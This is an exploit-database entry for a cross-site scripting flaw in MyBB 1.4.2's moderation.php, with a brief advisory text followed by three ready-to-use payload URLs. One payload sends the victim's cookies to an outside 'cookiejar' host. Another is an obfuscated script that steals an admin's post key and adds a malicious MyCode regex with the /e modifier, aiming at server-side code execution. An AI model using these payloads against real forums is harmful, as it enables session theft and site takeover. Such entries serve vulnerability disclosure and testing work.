MyBB 1.4.2 - 'moderation.php' Cross-Site Scripting

Author: Kellanved
type: webapps
platform: php
port: 
date_added: 2008-10-27 
date_updated: 2014-03-26 
verified: 1 
codes: OSVDB-106998 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/31935/info

MyBB is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MyBB 1.4.2 is vulnerable; other versions may also be affected.

http://www.example.com/mybb/moderation.php?action=removesubscriptions&ajax=1&url='%2Balert('XSS!')// http://www.example.com/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%20%2B%27http://www.example2.com/cookiejar.php?c=%27%2Bdocument.cookie// http://www.example.com/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%2Beval(%22u%3D%27application%2Fx-www-%27%2B%20%27form-urlencoded%27%22%2B%20String.fromCharCode(59)%20%2B%22c%3D%27Content-type%27%22%2B%20String.fromCharCode(59)%20%2B%22d%3D%27Content-length%27%22%2B%20String.fromCharCode(59)%20%2B%22reg%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22reg.open(%27GET%27%2C%20%27http%3A%2F%2Fwww.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%2C%20false)%22%2B%20String.fromCharCode(59)%20%2B%22reg.send(null)%22%2B%20String.fromCharCode(59)%20%2B%22r%3Dreg.responseText%22%2B%20String.fromCharCode(59)%20%2B%22t%3D%27http%3A%2F%2Fwww.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%22%2B%20String.fromCharCode(59)%20%2B%22t2%3D%27%26replacement%3D%241%26active%3D1%26my_post%22%20%20%20%20%2B%22_key%3D%27%2Br.substr(r.indexOf(%27my_post_%22%20%2B%22key%27%2B%20%27%27) %2B15%2C32)%22%2F*%20%20%20%20%20%20*%2F%2B%22%20%2B%27%26title%3DPwned%26description%27%2B%20%27%3Dfoo%26regex%3D%22%20%20%20%20%20%20%20%2B%22evil(.*)evil%2523e%2500test%27%22%2B%20String.fromCharCode(59)%20%2B%22r2%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22r2.open(%27POST%27%2Ct%2Cfalse)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(d%2Ct2.length)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(c%2Cu)%22%2B%20String.fromCharCode(59)%20%2B%22r2.sendAsBinary(t2)%22%2B%20String.fromCharCode(59))//